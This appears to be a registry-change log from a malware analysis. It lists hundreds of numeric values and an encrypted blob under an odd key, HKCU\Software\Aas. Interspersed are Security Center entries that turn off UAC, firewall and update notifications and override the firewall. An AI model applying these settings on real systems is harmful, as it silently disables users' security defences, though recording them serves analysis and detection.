"a3_292" = "2110067853"
"a2_987" = "2780960806"
"a1_904" = "3313683361"
"a3_634" = "266990099"
"a3_619" = "159571106"
"a3_618" = "152516611"
"a3_611" = "68549034"
"a3_610" = "95044875"
"a3_613" = "82982508"
"a3_612" = "75537869"
"a3_615" = "131026734"
"a3_614" = "123579023"
"a3_617" = "111511520"
"a3_616" = "104522561"
"a3_181" = "1280611004"
"a3_180" = "1307180573"
"a3_34" = "260325067"
"a3_182" = "1288058591"
"a3_185" = "1309597744"
"a3_33" = "253401768"
"a3_187" = "1324038386"
"a3_186" = "1316586579"
"a3_189" = "1371566516"
"a3_188" = "1364647189"
"a3_38" = "289377359"
"a3_39" = "296296686"
"a3_471" = "3359687774"
"a3_470" = "3386187839"
"a3_473" = "3407682832"
"a3_472" = "3367139569"
"a3_475" = "3422180818"
"a3_474" = "3414733235"
"a3_477" = "3403113108"
"a4_282" = "2021692122"
"a3_479" = "3450714966"
"a3_478" = "3443656503"
"a1_479" = "2117054513"
"a1_478" = "2153297262"
"a3_509" = "3632529140"
"a3_508" = "3624950357"
"a1_473" = "3388203031"
"a1_472" = "2976211077"
"a1_471" = "1114362914"
"a1_470" = "1990877775"
"a1_477" = "161724863"
"a1_476" = "2578508558"
"a1_475" = "2793295550"
"a1_474" = "3595925030"
"a4_533" = "3821141493"
"a1_679" = "3695995188"
"a1_678" = "3577984819"
"a4_532" = "3813972372"
"a1_675" = "386990593"
"a1_674" = "1819146044"
"a1_677" = "2015443927"
"a1_676" = "2141348472"
"a1_671" = "875762760"
"a4_531" = "3806803251"
"a1_673" = "2680591708"
"a1_672" = "1394476268"
[HKLM\SOFTWARE\Microsoft\Security Center]
"UacDisableNotify" = "1"
[HKCU\Software\Aas]
"a4_530" = "3799634130"
"a4_537" = "3849817977"
"a4_536" = "3842648856"
"a3_989" = "2812256404"
"a1_868" = "119628410"
"a4_535" = "3835479735"
"a3_981" = "2721238428"
"a3_980" = "2747738493"
"a3_983" = "2769230430"
"a4_534" = "3828310614"
"a3_985" = "2783204112"
"a3_984" = "2776284913"
"a3_987" = "2764139474"
"a3_986" = "2757228467"
"a2_151" = "1082535552"
"a2_150" = "1075367310"
"a1_869" = "2219074805"
"a2_271" = "1942839896"
"a3_879" = "1989722918"
"a3_878" = "1982672519"
"a1_823" = "2231092073"
"a3_874" = "1954273539"
"a3_877" = "2009303652"
"a3_876" = "2001736133"
"a3_871" = "1966337070"
"a3_870" = "1925204879"
"a3_873" = "1946690784"
"a3_872" = "1973321793"
"a2_159" = "1139884136"
"a4_758" = "1139226422"
"a2_158" = "1132718337"
"a1_925" = "3951795492"
"a1_924" = "981623365"
"a1_927" = "587607172"
"a1_926" = "1662528366"
"a1_921" = "1002863438"
"a1_920" = "879647425"
"a3_787" = "1363737626"
"a1_922" = "1349011460"
"a3_80" = "590099577"
"a1_929" = "4228174383"
"a1_928" = "4180170745"
"a4_649" = "357792233"
"a4_648" = "350623112"
"a4_641" = "300439265"
"a4_640" = "293270144"
"a4_643" = "314777507"
"a4_642" = "307608386"
"a4_645" = "329115749"
"a4_644" = "321946628"
"a4_647" = "343453991"
"a4_646" = "336284870"
"a3_786" = "1323129851"
"a1_819" = "911366660"
"a1_818" = "1674251334"
"a3_785" = "1316202328"
"a3_746" = "1069934723"
"a1_811" = "3565829424"
"a1_810" = "1255643633"
"a1_813" = "3362637400"
"a1_812" = "314199170"
"a1_815" = "1486143382"
"a1_814" = "565312064"
"a1_817" = "138450154"
"a1_816" = "4287693049"
"a4_963" = "2608896227"
"a4_429" = "3075552909"
"a4_428" = "3068383788"
"a4_425" = "3046876425"
"a4_424" = "3039707304"
"a4_427" = "3061214667"
"a4_426" = "3054045546"
"a4_421" = "3018199941"
"a4_420" = "3011030820"
"a4_423" = "3032538183"
"a4_422" = "3025369062"
"a3_743" = "1014841262"
"a3_745" = "1062892640"
"a3_742" = "1007917839"
"a4_967" = "2637572711"
"a3_741" = "1033955052"
"a2_802" = "1454665527"
"a4_357" = "2559376197"
"a4_356" = "2552207076"
"a4_355" = "2545037955"
"a4_354" = "2537868834"
"a4_353" = "2530699713"
"a4_352" = "2523530592"
"a4_351" = "2516361471"
"a4_350" = "2509192350"
"a3_747" = "1043369250"
"a4_359" = "2573714439"
"a4_358" = "2566545318"
"a4_511" = "3663420831"
"a4_510" = "3656251710"
"a4_513" = "3677759073"
"a4_512" = "3670589952"
"a4_515" = "3692097315"
"a4_514" = "3684928194"
"a4_517" = "3706435557"
"a4_516" = "3699266436"
"a4_519" = "3720773799"
"a4_518" = "3713604678"
"a3_744" = "1021891521"
"a3_749" = "1091421668"
"a1_994" = "2255580062"
[HKCU\Software\Aas\695404737]
"50183847" = "791C9298427653EC1F017F6A2B459CCDA440F1B12093A5451B7F69ABB924E6A0B7D44FD1F8B9DCD4790D4CFB7F3C12F9EA3E4504A961E63C04BE73C1F48F933724796B2794E6C3608F1ED562DFF59CC4DA4128FB18B405C7B3A4DC36205F07EC4D472F0A86674034357EB050963F982D76A6FABEF6CF1A9FEA51EAB24E717555"
[HKCU\Software\Aas]
"a2_845" = "1762937622"
"a2_844" = "1755772785"
"a2_847" = "1777273832"
"a2_846" = "1770101021"
"a2_841" = "1734268330"
"a2_840" = "1727087519"
"a2_843" = "1748604609"
"a2_842" = "1741434937"
"a3_780" = "1280228773"
"a4_928" = "2357976992"
"a2_849" = "1791621306"
"a2_848" = "1784453807"
"a1_312" = "915885297"
"a1_313" = "3891012807"
"a1_310" = "2414654248"
"a1_311" = "3930406940"
"a1_316" = "3169839779"
"a1_317" = "593404272"
"a1_314" = "350173235"
"a1_315" = "3377534722"
"a3_620" = "166490309"
"a1_318" = "4112718113"
"a1_319" = "3792086145"
"a4_929" = "2365146113"
"a4_982" = "2745109526"
"a2_449" = "3218938094"
"a2_448" = "3211768939"
"a3_621" = "140449124"
"a2_441" = "3161583736"
"a2_440" = "3154418718"
"a2_443" = "3175918384"
"a2_442" = "3168754111"
"a2_445" = "3190252807"
"a2_444" = "3183087232"
"a2_447" = "3204601872"
"a2_446" = "3197433454"
"a2_939" = "2436838765"
"a2_938" = "2429676349"
"a4_893" = "2107057757"
"a2_931" = "2379487561"
"a2_930" = "2372318770"
"a2_933" = "2393817229"
"a2_932" = "2386650715"
"a2_935" = "2408153849"
"a2_934" = "2400987993"
"a2_937" = "2422505436"
"a2_936" = "2415337165"
"a3_818" = "1552537563"
"a2_711" = "802282912"
"a2_710" = "795100793"
"a2_713" = "816612654"
"a2_712" = "809439007"
"a2_715" = "830962118"
"a2_714" = "823777209"
"a2_717" = "845298138"
"a2_716" = "838115880"
"a2_719" = "859633267"
"a2_718" = "852465132"
"a1_587" = "2690235554"
"a3_623" = "187965990"
"a2_629" = "214415522"
"a2_628" = "207234833"
"a2_625" = "185733098"
"a2_624" = "178556765"
"a2_627" = "200065033"
"a2_626" = "192897761"
"a2_621" = "157051331"
"a2_620" = "149881342"
"a2_623" = "171400784"
"a2_622" = "164230822"
"a1_266" = "3547199411"
"a1_267" = "2985150326"
"a1_264" = "1596912213"
"a1_265" = "1790104480"
"a1_262" = "606310168"
"a1_263" = "1591384062"
"a1_260" = "279266010"
"a1_261" = "535959226"
"a1_268" = "2113520546"
"a1_269" = "2002382431"
"a2_157" = "1125559625"
"a2_156" = "1118384507"
"a2_155" = "1111216568"
"a2_154" = "1104051210"
"a2_153" = "1096869611"
"a2_152" = "1089703823"
"a2_99" = "709740884"
"a2_98" = "702574728"
"a2_97" = "695409898"
"a2_96" = "688238759"
"a2_95" = "681060138"
"a2_94" = "673893497"
"a2_93" = "666725674"
"a2_92" = "659557316"
"a2_91" = "652391755"
"a2_90" = "645225929"
"a3_260" = "1847236781"
"a3_261" = "1854160076"
"a3_262" = "1861734767"
"a3_263" = "1902212494"
"a3_264" = "1909255713"
"a3_265" = "1883210304"
"a3_266" = "1890133731"
"a3_267" = "1930746626"
"a3_268" = "1938194341"
"a3_269" = "1945179076"
"a1_915" = "1988984091"
"a1_847" = "2214780498"
"a3_404" = "2913010493"
"a1_844" = "4183723806"
"a3_405" = "2886510428"
"a1_845" = "2635864979"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKCU\Software\Aas]
"a2_862" = "1884807712"
"a4_983" = "2752278647"
"a1_961" = "604843116"
"a3_668" = "477267765"
"a3_669" = "484195156"
"a1_960" = "1741194166"
"a3_664" = "448737713"
"a3_665" = "489346512"
"a3_666" = "496258675"
"a3_667" = "470278802"
"a3_660" = "453353533"
"a3_661" = "460801116"
"a3_662" = "467859711"
"a3_663" = "441294110"
"a3_43" = "324843106"
"a3_42" = "284237251"
"a3_41" = "277248416"
"a3_40" = "269796609"
"a3_47" = "353765350"
"a3_46" = "313221959"
"a3_45" = "305778468"
"a3_44" = "332278405"
"a1_965" = "2453030683"
"a3_49" = "368270520"
"a3_48" = "360822809"
"a1_964" = "1430008570"
"a4_99" = "709742979"
"a4_98" = "702573858"
"a3_406" = "2893962239"
"a3_407" = "2901015582"
"a3_400" = "2884615609"
"a3_401" = "2857980376"
"a3_402" = "2865023611"
"a3_403" = "2906025626"
"a4_91" = "652390011"
"a4_90" = "645220890"
"a4_93" = "666728253"
"a4_92" = "659559132"
"a4_95" = "681066495"
"a4_94" = "673897374"
"a4_97" = "695404737"
"a4_96" = "688235616"
[HKLM\SOFTWARE\Microsoft\Security Center\Svc]
"FirewallOverride" = "1"
[HKCU\Software\Aas]
"a1_448" = "3271982714"
"a1_449" = "282403192"
"a1_446" = "2112498318"
"a3_408" = "2941554865"
"a1_444" = "1090469482"
"a1_445" = "1181771464"
"a1_442" = "3611049511"
"a1_443" = "3026352000"
"a1_440" = "2768083825"
"a3_409" = "2949002448"
"a1_680" = "1132717797"
"a1_681" = "3451888464"
"a1_682" = "4010879295"
"a1_683" = "3804327572"
"a2_561" = "4021871874"
"a1_685" = "1110619604"
"a1_686" = "3296673234"
"a1_687" = "3057456128"
"a1_688" = "665871345"
"a1_689" = "628480173"
"a3_834" = "1700949547"
"a3_988" = "2804681845"
"a1_767" = "3009098170"
"a1_766" = "95339510"
"a3_318" = "2262948439"
"a3_319" = "2303950582"
"a2_599" = "4294295719"
"a3_310" = "2239031135"
"a3_311" = "2246548478"
"a3_312" = "2219916305"
"a3_313" = "2226966704"
"a3_314" = "2267968723"
"a3_315" = "2275010930"
"a3_316" = "2248445333"
"a3_317" = "2255889972"
"a3_933" = "2410528684"
"a3_934" = "2384417743"
"a1_760" = "3660669862"
"a2_605" = "42346138"
"a3_935" = "2391471214"
"a3_476" = "3395669621"
"a1_447" = "994888710"
"a2_603" = "28010633"
"a3_880" = "2030724953"
"a3_881" = "2037718008"
"a3_882" = "2044771355"
"a3_883" = "2018660538"
"a3_884" = "2025714909"
"a3_885" = "2066704764"
"a3_886" = "2073693599"
"a1_745" = "1026280491"
"a3_888" = "2054642257"
"a3_889" = "2061696752"
"a1_769" = "2775609405"
"a1_441" = "508483021"
"a4_964" = "2616065348"
"a1_744" = "3992411220"
"a4_988" = "2788124252"
"a4_857" = "1848969401"
"a4_638" = "278931902"
"a4_639" = "286101023"
"a4_634" = "250255418"
"a4_635" = "257424539"
"a4_636" = "264593660"
"a4_637" = "271762781"
"a4_630" = "221578934"
"a4_631" = "228748055"
"a4_632" = "235917176"
"a4_633" = "243086297"
"a2_913" = "2250433436"
"a1_747" = "3443703130"
"a2_912" = "2243268335"
"a2_911" = "2236097112"
"a3_997" = "2869200876"
"a2_651" = "372135985"
"a2_910" = "2228930112"
"a3_794" = "1380597491"
[HKCU\Software\Aas\695404737]
"35845605" = "310"
[HKCU\Software\Aas]
"a2_917" = "2279124770"
"a4_883" = "2035366547"
"a2_916" = "2271951915"
"a4_740" = "1010182244"
"a4_741" = "1017351365"
"a4_742" = "1024520486"
"a4_743" = "1031689607"
"a4_744" = "1038858728"
"a4_745" = "1046027849"
"a4_746" = "1053196970"
"a4_747" = "1060366091"
"a4_748" = "1067535212"
"a4_749" = "1074704333"
"a1_866" = "38387323"
"a1_867" = "2969874412"
"a1_860" = "501184643"
"a1_861" = "1589484616"
"a1_862" = "2478715823"
"a4_859" = "1863307643"
"a4_182" = "1304780022"
[HKLM\SOFTWARE\Microsoft\Security Center]
"UpdatesDisableNotify" = "1"
[HKCU\Software\Aas]
"a4_180" = "1290441780"
"a4_181" = "1297610901"
"a4_186" = "1333456506"
"a4_187" = "1340625627"
"a4_184" = "1319118264"
"a4_185" = "1326287385"
"a4_188" = "1347794748"
"a4_189" = "1354963869"
"a1_741" = "3747507890"
"a2_918" = "2286283745"
"a4_168" = "1204412328"
"a1_194" = "409912795"
"a1_195" = "599566378"
"a4_160" = "1147059360"
"a4_161" = "1154228481"
"a4_162" = "1161397602"
"a4_163" = "1168566723"
"a4_164" = "1175735844"
"a4_165" = "1182904965"
"a4_166" = "1190074086"
"a4_167" = "1197243207"
"a4_296" = "2122059816"
"a4_297" = "2129228937"
"a4_294" = "2107721574"
"a4_295" = "2114890695"
"a4_292" = "2093383332"
"a4_293" = "2100552453"
"a4_290" = "2079045090"
"a4_291" = "2086214211"
"a4_142" = "1018015182"
"a3_952" = "2546868881"
"a4_568" = "4072060728"
"a4_569" = "4079229849"
"a4_298" = "2136398058"
"a4_299" = "2143567179"
"a2_598" = "4287127690"
"a1_192" = "485310109"
"a1_193" = "4215136124"
"a1_969" = "2632033397"
"a4_934" = "2400991718"
"a3_993" = "2840671848"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKCU\Software\Aas]
"a3_790" = "1351657855"
"a4_958" = "2573050622"
"a1_742" = "1317708689"
"a4_368" = "2638236528"
"a4_369" = "2645405649"
"a4_362" = "2595221802"
"a4_363" = "2602390923"
"a4_360" = "2580883560"
"a4_361" = "2588052681"
"a4_366" = "2623898286"
"a4_367" = "2631067407"
"a4_364" = "2609560044"
"a4_365" = "2616729165"
"a1_305" = "350257654"
"a1_304" = "3388828042"
"a1_307" = "11325710"
"a1_306" = "3043717804"
"a1_301" = "2722756529"
"a1_300" = "2792255483"
"a1_303" = "1782824082"
"a1_302" = "3385025329"
"a3_792" = "1399711281"
"a1_309" = "1901831342"
"a1_308" = "1934575365"
"a2_540" = "3871320872"
"a2_541" = "3878501998"
"a2_542" = "3885668935"
"a1_481" = "1038090889"
"a2_544" = "3900004326"
"a2_545" = "3907168571"
"a2_546" = "3914336702"
"a2_547" = "3921503924"
"a2_548" = "3928671636"
"a2_549" = "3935852682"
"a2_894" = "2114229894"
"a2_895" = "2121386858"
"a2_892" = "2099896595"
"a2_893" = "2107063807"
"a2_890" = "2085545311"
"a2_891" = "2092712961"
"a2_438" = "3140067035"
"a2_439" = "3147250778"
"a2_434" = "3111402173"
"a2_435" = "3118565608"
"a2_436" = "3125734491"
"a2_437" = "3132899778"
"a2_430" = "3082715593"
"a2_431" = "3089881932"
"a2_432" = "3097066635"
"a2_433" = "3104231644"
"a4_986" = "2773786010"
"a2_948" = "2501351329"
"a2_949" = "2508524890"
"a4_908" = "2214594572"
"a2_944" = "2472687719"
"a2_945" = "2479860402"
"a2_946" = "2487022941"
"a2_947" = "2494187698"
"a2_940" = "2444015400"
"a1_488" = "3870506579"
"a2_942" = "2458339751"
"a2_943" = "2465521439"
"a1_279" = "338905355"
"a1_278" = "1158434843"
"a1_489" = "2183335191"
"a1_271" = "4156486929"
"a1_270" = "159982576"
"a1_273" = "3162364355"
"a1_272" = "2876635751"
"a1_275" = "757090433"
"a1_274" = "1646609946"
"a1_277" = "1770104427"
"a1_276" = "1850466443"
"a2_764" = "1182240007"
"a2_765" = "1189405402"
"a2_766" = "1196573203"
"a2_767" = "1203741400"
"a2_760" = "1153558817"
"a2_761" = "1160740049"
"a2_762" = "1167908653"
"a2_763" = "1175073558"
"a2_768" = "1210924759"
"a2_769" = "1218092186"
"a2_382" = "2738613151"
"a2_383" = "2745765144"
"a2_380" = "2724259292"
"a2_381" = "2731441732"
"a2_386" = "2767275188"
"a2_387" = "2774440809"
"a2_384" = "2752940789"
"a2_385" = "2760103296"
"a2_388" = "2781625154"
"a2_389" = "2788794280"
"a1_613" = "105629581"
"a1_612" = "1289753021"
"a1_611" = "770642495"
"a2_368" = "2638240864"
"a2_369" = "2645407368"
"a1_610" = "2274030736"
"a2_88" = "630891372"
"a2_89" = "638043608"
"a2_84" = "602206803"
"a2_85" = "609370930"
"a2_86" = "616539701"
"a2_87" = "623721910"
"a2_80" = "573522957"
"a2_81" = "580704492"
"a2_82" = "587870746"
"a2_83" = "595044679"
"a3_273" = "1974165848"
"a3_272" = "1966722361"
"a3_271" = "1926113414"
"a3_270" = "1918678119"
"a3_277" = "2002712284"
"a3_276" = "1962103485"
"a3_275" = "1954659866"
"a3_274" = "1947600379"
"a2_162" = "1161400837"
"a2_163" = "1168569188"
"a3_279" = "1983582110"
"a3_278" = "2009623423"
"a2_166" = "1190071633"
"a2_167" = "1197237527"
"a2_164" = "1175737931"
"a2_165" = "1182902514"
"a3_690" = "668723035"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Aas]
"a3_679" = "589715310"
"a1_666" = "2285516768"
"a3_677" = "541662892"
"a3_676" = "568228365"
"a3_675" = "560775658"
"a3_674" = "553725259"
"a3_673" = "513247528"
"a3_672" = "505681033"
"a3_671" = "532246550"
"a3_670" = "525328375"
"a3_50" = "341766363"
"a3_51" = "348755322"
"a3_52" = "389745053"
"a3_53" = "396796476"
"a3_54" = "370165343"
"a3_55" = "377748222"
"a3_56" = "384737041"
"a3_57" = "425210800"
"a3_58" = "432789459"
"a3_59" = "406145138"
"a3_417" = "3006523432"
"a3_416" = "2965403529"
"a3_415" = "2958480150"
"a3_414" = "2984984311"
"a3_413" = "2977536596"
"a3_412" = "2970543669"
"a3_411" = "2929937810"
"a3_410" = "2922490227"
"a3_419" = "2986877162"
"a3_418" = "3013512267"
"a1_451" = "2081206421"
"a1_450" = "3430357460"
"a1_453" = "938431841"
"a1_452" = "3275388665"
"a1_455" = "2710669755"
"a1_454" = "1531898152"
"a1_457" = "298094455"
"a1_456" = "4210025617"
"a1_459" = "3494625460"
"a1_458" = "41216310"
"a1_693" = "1175710680"
"a1_692" = "617525301"
"a1_691" = "2168478831"
"a1_690" = "2341782063"
"a1_697" = "1187491917"
"a1_696" = "407819238"
"a1_695" = "4060134665"
"a1_694" = "2233249707"
"a1_699" = "1041493349"
"a1_698" = "3650342444"
"a3_896" = "2145139113"
"a3_695" = "704178558"
"a1_962" = "419023947"
"a3_309" = "2231976764"
"a3_308" = "2191503005"
"a3_303" = "2155521254"
"a3_302" = "2148466759"
"a3_301" = "2174512164"
"a3_300" = "2167589765"
"a3_307" = "2183924346"
"a3_306" = "2210566619"
"a3_305" = "2203581880"
"a3_304" = "2162448665"
"a4_86" = "616544406"
"a4_87" = "623713527"
"a4_84" = "602206164"
"a4_85" = "609375285"
"a4_82" = "587867922"
"a4_83" = "595037043"
"a4_80" = "573529680"
"a4_81" = "580698801"
"a3_887" = "2047190590"
"a3_730" = "921917107"
"a4_88" = "630882648"
"a4_89" = "638051769"
"a3_731" = "962513618"
"a4_954" = "2544374138"
[HKCU\Software\Aas\695404737]
"14338242" = "0"
[HKCU\Software\Aas]
"a3_913" = "2267125720"
"a3_736" = "998505673"
"a1_740" = "361982001"
"a3_737" = "1005490536"
"a3_697" = "685057584"
"a3_892" = "2083171285"
"a3_891" = "2109683634"
"a3_890" = "2102235923"
"a3_897" = "2119163336"
"a3_734" = "950445111"
"a3_895" = "2138211638"
"a3_894" = "2131222679"
"a3_899" = "2166680202"
"a3_735" = "990926934"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKCU\Software\Aas]
"a3_696" = "678137233"
"a1_967" = "2131940187"
"a4_387" = "2774449827"
"a1_940" = "3614350324"
"a1_752" = "2275855255"
"a4_629" = "214409813"
"a4_628" = "207240692"
"a4_627" = "200071571"
"a4_626" = "192902450"
"a4_625" = "185733329"
"a4_624" = "178564208"
"a4_623" = "171395087"
"a4_622" = "164225966"
"a4_621" = "157056845"
"a4_620" = "149887724"
"a2_75" = "537687709"
"a2_74" = "530518564"
"a2_77" = "552015079"
"a2_76" = "544856044"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"GlobalUserOffline" = "0"
[HKCU\Software\Aas]
"a2_71" = "509005804"
"a2_70" = "501836193"
"a4_753" = "1103380817"
"a4_752" = "1096211696"
"a4_751" = "1089042575"
"a4_750" = "1081873454"
"a4_757" = "1132057301"
"a2_73" = "523353224"
"a4_755" = "1117719059"
"a4_754" = "1110549938"
"a1_877" = "3511364851"
"a1_876" = "3299927476"
"a4_759" = "1146395543"
"a2_72" = "516173043"
"a1_873" = "666672509"
"a1_872" = "1214288645"
"a1_871" = "2577618894"
"a1_870" = "3159635613"
"a4_195" = "1397978595"
"a4_194" = "1390809474"
"a4_197" = "1412316837"
"a4_196" = "1405147716"
"a4_191" = "1369302111"
"a4_190" = "1362132990"
"a4_193" = "1383640353"
"a4_192" = "1376471232"
[HKLM\SOFTWARE\Microsoft\Security Center\Svc]
"FirewallDisableNotify" = "1"
[HKCU\Software\Aas]
"a4_198" = "1419485958"
"a1_909" = "2525306420"
"a4_179" = "1283272659"
"a4_178" = "1276103538"
"a4_173" = "1240257933"
"a4_172" = "1233088812"
"a4_171" = "1225919691"
"a4_170" = "1218750570"
"a4_177" = "1268934417"
"a4_176" = "1261765296"
"a4_175" = "1254596175"
"a4_174" = "1247427054"
"a4_577" = "4136582817"
"a3_123" = "898388146"
"a4_575" = "4122244575"
"a4_574" = "4115075454"
"a4_573" = "4107906333"
"a4_572" = "4100737212"
"a4_571" = "4093568091"
"a3_122" = "891468819"
"a4_970" = "2659080074"
"a3_121" = "850861040"
"a4_579" = "4150921059"
"a4_578" = "4143751938"
"a4_289" = "2071875969"
"a4_288" = "2064706848"
"a3_636" = "247859925"
"a3_120" = "843343697"
"a4_985" = "2766616889"
"a4_281" = "2014523001"
"a4_280" = "2007353880"
"a4_283" = "2028861243"
"a1_108" = "1881210681"
"a4_285" = "2043199485"
"a4_284" = "2036030364"
"a4_287" = "2057537727"
"a3_126" = "886312343"
"a3_125" = "879323508"
"a3_124" = "905966805"
"a4_965" = "2623234469"
"a3_691" = "642161658"
"a3_967" = "2620735566"
"a4_379" = "2717096859"
"a4_378" = "2709927738"
"a3_966" = "2647370799"
"a4_375" = "2688420375"
"a4_374" = "2681251254"
"a4_377" = "2702758617"
"a4_376" = "2695589496"
"a4_371" = "2659743891"
"a4_370" = "2652574770"
"a4_373" = "2674082133"
"a4_372" = "2666913012"
"a3_964" = "2599327597"
"a3_963" = "2592338634"
"a3_962" = "2584764075"
"a4_756" = "1124888180"
"a3_961" = "2611395080"
"a1_755" = "950324548"
"a1_437" = "4082178399"
"a3_960" = "2604335593"
"a2_553" = "3964519238"
"a2_552" = "3957351640"
"a2_551" = "3950187990"
"a2_550" = "3943019586"
"a2_557" = "3993202910"
"a2_556" = "3986037496"
"a2_555" = "3978856228"
"a2_554" = "3971687110"
"a2_889" = "2078389604"
"a2_888" = "2071211694"
"a2_559" = "4007540176"
"a2_558" = "4000374437"
"a4_980" = "2730771284"
"a4_981" = "2737940405"
"a2_429" = "3075544202"
"a2_428" = "3068381440"
"a2_427" = "3061217339"
"a2_426" = "3054048118"
"a2_425" = "3046868040"
"a2_424" = "3039713312"
"a2_423" = "3032533728"
"a2_422" = "3025365517"
"a2_421" = "3018198324"
"a2_420" = "3011020972"
"a1_758" = "199384937"
"a2_565" = "4050555507"
"a4_984" = "2759447768"
"a2_959" = "2580225017"
"a2_958" = "2573054121"
"a2_957" = "2565875133"
"a2_956" = "2558707606"
"a2_955" = "2551537728"
"a2_954" = "2544371289"
"a1_785" = "2922527949"
"a2_952" = "2530041647"
"a2_951" = "2522870393"
"a2_950" = "2515691047"
"a1_208" = "3196060840"
"a1_209" = "2181208935"
"a1_204" = "3439407350"
"a1_205" = "1081842161"
"a1_206" = "1392731824"
"a1_207" = "3124541349"
"a1_200" = "2198201233"
"a1_201" = "2781232452"
"a1_202" = "717492785"
"a1_203" = "237486896"
"a2_777" = "1275445188"
"a2_776" = "1268273587"
"a2_775" = "1261093997"
"a2_774" = "1253925365"
"a2_773" = "1246758475"
"a2_772" = "1239591279"
"a2_771" = "1232422217"
"a2_770" = "1225260049"
"a2_779" = "1289776422"
"a2_778" = "1282611072"
"a2_395" = "2831809526"
"a2_394" = "2824628900"
"a2_397" = "2846143643"
"a2_396" = "2838978431"
"a2_391" = "2803135476"
"a2_390" = "2795958583"
"a2_393" = "2817460009"
"a2_392" = "2810294156"
"a2_399" = "2860475988"
"a2_398" = "2853312879"
"a2_568" = "4072058271"
"a2_569" = "4079226282"
"a2_379" = "2717093048"
"a2_378" = "2709921921"
"a2_373" = "2674091167"
"a2_372" = "2666906232"
"a2_371" = "2659737768"
"a2_370" = "2652573641"
"a2_377" = "2702756024"
"a2_376" = "2695581231"
"a2_375" = "2688425236"
"a2_374" = "2681254549"
"a3_246" = "1746738975"
"a3_247" = "1753789374"
"a3_244" = "1765852765"
"a3_245" = "1773304572"
"a2_179" = "1283274980"
"a2_178" = "1276106485"
[HKLM\SOFTWARE\Microsoft\Security Center]
"FirewallDisableNotify" = "1"
[HKCU\Software\Aas]
"a3_241" = "1744311672"
"a2_175" = "1254591112"
"a2_174" = "1247418809"
"a2_177" = "1268940749"
"a2_176" = "1261772635"
"a2_171" = "1225923580"
"a2_170" = "1218753268"
"a2_173" = "1240254677"
"a3_249" = "1801832560"
"a4_960" = "2587388864"
"a1_510" = "3713408083"
"a1_511" = "413689041"
"a1_512" = "4165646421"
"a1_513" = "957419683"
"a1_514" = "2067991422"
"a1_515" = "2338202963"
"a1_516" = "1814659037"
"a1_517" = "3329674664"
"a1_518" = "4037636139"
"a1_519" = "2498976281"
"a3_648" = "367361953"
"a3_649" = "340792256"
"a3_69" = "478110732"
"a3_68" = "470664173"
"a3_65" = "449123976"
"a3_64" = "442135145"
"a3_67" = "497168202"
"a3_66" = "489720619"
"a3_61" = "454263092"
"a3_60" = "413199509"
"a3_63" = "468244982"
"a3_62" = "461186391"
"a1_784" = "3522801733"
"a3_514" = "3667976427"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKCU\Software\Aas]
"a2_543" = "3892834890"
"a1_424" = "37601270"
"a1_425" = "1475092817"
"a1_426" = "2571380531"
"a1_427" = "2293034496"
"a1_420" = "2731482662"
"a1_421" = "4286014168"
"a1_422" = "3792095160"
"a1_423" = "1475811321"
"a3_199" = "1409969486"
"a1_428" = "2416514662"
"a1_429" = "2995416375"
"a3_515" = "3709043978"
"a3_693" = "690213052"
"a2_965" = "2623240842"
"a3_338" = "2439897659"
"a3_339" = "2446886490"
"a3_336" = "2391856505"
"a3_337" = "2432846232"
"a3_334" = "2411437223"
"a3_335" = "2384801990"
"a3_332" = "2363312101"
"a3_333" = "2403923972"
"a3_330" = "2348814115"
"a3_331" = "2356388674"
"a1_738" = "1244991728"
"a1_739" = "1931640406"
"a3_428" = "3084957701"
"a3_429" = "3058850980"
"a3_422" = "3041926607"
"a3_423" = "3049502318"
"a3_420" = "2994455821"
"a3_421" = "3001383340"
"a3_426" = "3070911299"
"a3_427" = "3077900258"
"a3_424" = "3022858881"
"a3_425" = "3029913376"
"a1_864" = "2270435241"
"a2_915" = "2264781635"
"a1_865" = "3364180884"
"a4_870" = "1942167974"
"a4_873" = "1963675337"
"a1_863" = "101907662"
"a3_87" = "607024862"
"a3_86" = "633131711"
"a3_85" = "626081308"
"a3_84" = "585598461"
"a3_83" = "578085210"
"a3_82" = "571034939"
"a3_81" = "597665944"
"a4_183" = "1311949143"
"a3_89" = "654610320"
"a3_88" = "614067057"
"a4_612" = "92534756"
"a4_613" = "99703877"
"a4_610" = "78196514"
"a4_611" = "85365635"
"a4_616" = "121211240"
"a4_617" = "128380361"
"a4_614" = "106872998"
"a4_615" = "114042119"
"a4_968" = "2644741832"
"a4_969" = "2651910953"
"a4_618" = "135549482"
"a4_619" = "142718603"
"a4_871" = "1949337095"
"a1_995" = "2449823652"
"a1_996" = "1771621599"
"a1_997" = "1617500566"
"a1_990" = "4066049495"
"a1_991" = "3399572013"
"a1_992" = "333363645"
"a1_993" = "2217477627"
"a3_689" = "661144376"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKCU\Software\Aas]
"a3_812" = "1543047557"
"a3_692" = "649083933"
"a4_876" = "1985182700"
"a4_766" = "1196579390"
"a4_767" = "1203748511"
"a4_764" = "1182241148"
"a4_765" = "1189410269"
"a4_762" = "1167902906"
"a4_763" = "1175072027"
"a4_760" = "1153564664"
"a4_761" = "1160733785"
"a1_848" = "2053237254"
"a1_849" = "1172326364"
"a1_439" = "2636707637"
"a4_768" = "1210917632"
"a4_769" = "1218086753"
"a3_938" = "2446500163"
"a3_512" = "3687557161"
"a2_662" = "450989542"
"a3_513" = "3660926024"
"a3_930" = "2355479115"
"a3_931" = "2362926826"
"a3_932" = "2403474189"
"a3_814" = "1523992135"
"a4_877" = "1992351821"
"a3_510" = "3639513879"
"a3_936" = "2398382209"
"a3_937" = "2439449888"
